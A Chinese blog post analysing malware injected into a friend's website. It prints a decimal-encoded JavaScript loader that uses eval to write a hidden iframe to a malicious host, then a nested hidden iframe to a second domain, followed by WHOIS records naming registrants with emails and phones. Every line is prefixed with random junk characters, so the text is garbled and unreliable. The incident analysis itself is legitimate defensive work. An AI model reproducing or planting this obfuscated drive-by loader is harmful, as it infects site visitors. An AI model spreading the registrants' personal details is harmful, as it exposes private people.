首发在我的博客里面，
[nq@m c~< %xLh Z\ http://www.areway.cn/?p=175 ~k5W@`"W JxU5 fe Q7CsJzk~) 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
Q"#J6@ }jPSUdo <script>t=’60,105,102,114,97,109,101,
X:{!n({r= 32,115,114,99,61,104,116,116,112,58,47,47,
A04U /; 102,114,101,101,46,117,45,117,117,117,46,99,
-KbYOb 110,47,101,114,114,111,114,46,104,116,109,
!& E-}}< 32,119,105,100,116,104,61,49,48,48,32,104,
vl )l' 101,105,103,104,116,61,48,62,60,47,105,102,
jPkn[W#
6 114,97,109,101,62′;
8 z\ xrY t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
j?QD R J 'r^/ <script>t=’60,105,102,114,97,109,101,32,115,
8u]2xB =K 114,99,61,104,116,116,112,58,47,47,102,114,
F!K>K z 101,101,46,117,45,117,117,117,46,99,110,47,
A=0'Ks 101,114,114,111,114,46,104,116,109,32,119,
(Q B2T2x 105,100,116,104,61,49,48,48,32,104,101,105,
MolgwVd 103,104,116,61,48,62,60,47,105,102,114,97,
)+Pus~w 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
BMf@ M document.write(t);</script>
N'=gep0V@ fc>L K7M <html xmlns=”
M',?u http://www.w3.org/1999/xhtml klhtKp_p “>
2Tppcj v <head>
[2cD:JL <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
_@/8g PT*i <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
j] [,J49L <title>首页 - 爱生活家庭网
k 9F=8q f*8DCh!r" 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
/Z4et'Lo 转换字符串后的大概内容是（谁点击后果自付）：
?aMOZn? <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
69.NPy@ TD_Oo-+\ 查询玉米u-uuu.cn的详细信息：
*P g2c(Vg Domain Name: u-uuu.cn
hE-M$LmN@ ROID: 20070901s10001s64972306-cn
/qw.p# Domain Status: ok
QS`] Registrant Organization: 王雷
1h5 Akq Registrant Name: 王雷
vZ L f Administrative Email:
czlovexs@126.com }(u
ol Sponsoring Registrar: 北京万网志成科技有限公司
e96k{C`j0 Name Server:ns.yovole.com
&cTU
sK Name Server:ns1.yovole.com
FVBYo%Ap Registration Date: 2007-09-01 17:54
x,V r=FB Expiration Date: 2008-09-01 17:54
hpk7 A np 最后PING了一下地址 都没有什么….
2J;g{95z U
m+8"W 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
P0b7S'a4! <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
$ ME)#( <script language=”javascript” src=”
!|> " o7 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 0m ? )ROaJ >
~Cjn7 这个玉米应该有可能是木马作者的：
#e5\j\#. foafau.info的详细信息：
T[j,UkgGo Access to INFO WHOIS information is provided to assist persons in
@lph)A Nk determining the contents of a domain name registration record in the
k VQ\1! Afilias registry database. The data in this record is provided by
rrv%~giU Afilias Limited for informational purposes only, and Afilias does not
[0 e_* guarantee its accuracy. This service is intended only for query-based
[ikOb8 G# access. You agree that you will use this data only for lawful purposes
<of^AKbt and that, under no circumstances will you use this data to: (a) allow,
Xha..r enable, or otherwise support the transmission by e-mail, telephone, or
A5w6]: f2 facsimile of mass unsolicited, commercial advertising or solicitations
gZ1?G-Q to entities other than the data recipient’s own existing customers; or
bN@
l?w (b) enable high volume, automated, electronic processes that send
cN 9t{.m queries or data to the systems of Registry Operator, a Registrar, or
u<&m]] * Afilias except as reasonably necessary to register domain names or
1-QS~)+ modify existing registrations. All rights reserved. Afilias reserves
.%QXzIa3F the right to modify these terms at any time. By submitting this query,
CJI~_3+K you agree to abide by this policy.
W@!S%Y9 Domain ID:D22418703-LRMS
;9g2?-svw
Domain Name:FOAFAU.INFO
OZ!^a k Created On:20-Nov-2007 16:05:42 UTC
4E?O ky#}- Last Updated On:20-Nov-2007 16:05:44 UTC
3f;>" P} Expiration Date:20-Nov-2008 16:05:42 UTC
S21,VpW\ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
FxtI"g\0 Status:CLIENT DELETE PROHIBITED
POR\e|hRT] Status:CLIENT RENEW PROHIBITED
VLN_w$iEq Status:CLIENT TRANSFER PROHIBITED
e?f IXk~b Status:CLIENT UPDATE PROHIBITED
#R
RRu2 Status:TRANSFER PROHIBITED
7=, ; h Registrant ID:GODA-040110615
N17RLz *\ Registrant Name:liu hong
lb1Xsgm{ Registrant Organization:
s"?3]P Registrant Street1:beijing
b>9>uC@J15 Registrant Street2:
WM P,\=6k0 Registrant Street3:
kO-(~]; Registrant City:beijing
S 6,.FYH Registrant State/Province:
/H+a0`/ Registrant Postal Code:100000
'A[dCc8O Registrant Country:CN
BFW&2 Registrant Phone:+86.860108888777
GvlS% Registrant Phone Ext.:
wH6aAV~1 Registrant FAX:
A. w:h;7 Registrant FAX Ext.:
5E_ YEBO/ Registrant Email:bbbshiji@163.com
2dgd~
Admin ID:GODA-240110615
! 5?<% * Admin Name:liu hong
*_g$MI Admin Organization:
YT8F#t8 Admin Street1:beijing
dnu u&Rv Admin Street2:
ua `RJ Admin Street3:
NW)1#]gg% Admin City:beijing
gv{ >`AN Admin State/Province:
S`?!G&[!> Admin Postal Code:100000
9Lfv^V0 Admin Country:CN
/vb`H>P Admin Phone:+86.860108888777
G9@0@2aY8 Admin Phone Ext.:
@AuO`I@p= Admin FAX:
!$>R j Admin FAX Ext.:
Nl(Foya%) Admin Email:bbbshiji@163.com
eKqk= ( Billing ID:GODA-340110615
EAby?51+ Billing Name:liu hong
F1Bq$*'N$w Billing Organization:
y L~W.H Billing Street1:beijing
-1 @<=jX3_ Billing Street2:
$
o#V# Billing Street3:
b\+`e b8_ Billing City:beijing
[;sRV< Billing State/Province:
HiJE}V;Vq Billing Postal Code:100000
$7A8/# Billing Country:CN
7i1q wRv Billing Phone:+86.860108888777
J!7MZL b Billing Phone Ext.:
|IUWF%~^$+ Billing FAX:
U|j`e5) Billing FAX Ext.:
"8zDb dK Billing Email:bbbshiji@163.com
5.J.RE"M Tech ID:GODA-140110615
w^0nqh Tech Name:liu hong
K,:N Tech Organization:
63x?MY6 Tech Street1:beijing
iMRwp +$ Tech Street2:
'(jG[ry&T Tech Street3:
[;myHI`tw Tech City:beijing
Nu~lsWyRI5 Tech State/Province:
%C_HXr@ Tech Postal Code:100000
',5 ky{ Tech Country:CN
=zs`#-^8 Tech Phone:+86.860108888777
t9IW/Q Tech Phone Ext.:
57'4ljvYi Tech FAX:
2jCf T>`3 Tech FAX Ext.:
7W.~ Tech Email:bbbshiji@163.com
H~z`] 5CN Name Server:NS27.DOMAINCONTROL.COM
PRE|+=w$ Name Server:NS28.DOMAINCONTROL.COM
6Sn .I1Wy Name Server:
QUQ'3 Name Server:
`,*5wBC Name Server:
1D!<'`)AY Name Server:
#@ nezu2 Name Server:
LC!bIm5' Name Server:
}| 5Pr(I Name Server:
m/EFHS49 Name Server:
4#hSJ(~7S Name Server:
cDkf qcC Name Server:
V,N%;iB} Name Server:
t}tEvh `&6dnSC},P 接着下载每个文件里面的代码：
~gRf:VXX=_ 一步一步看..
4)o 
h;NYdX5 
@bP)406p 
w$-6-rE]d 
PXNh&N 
WVvv I9 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
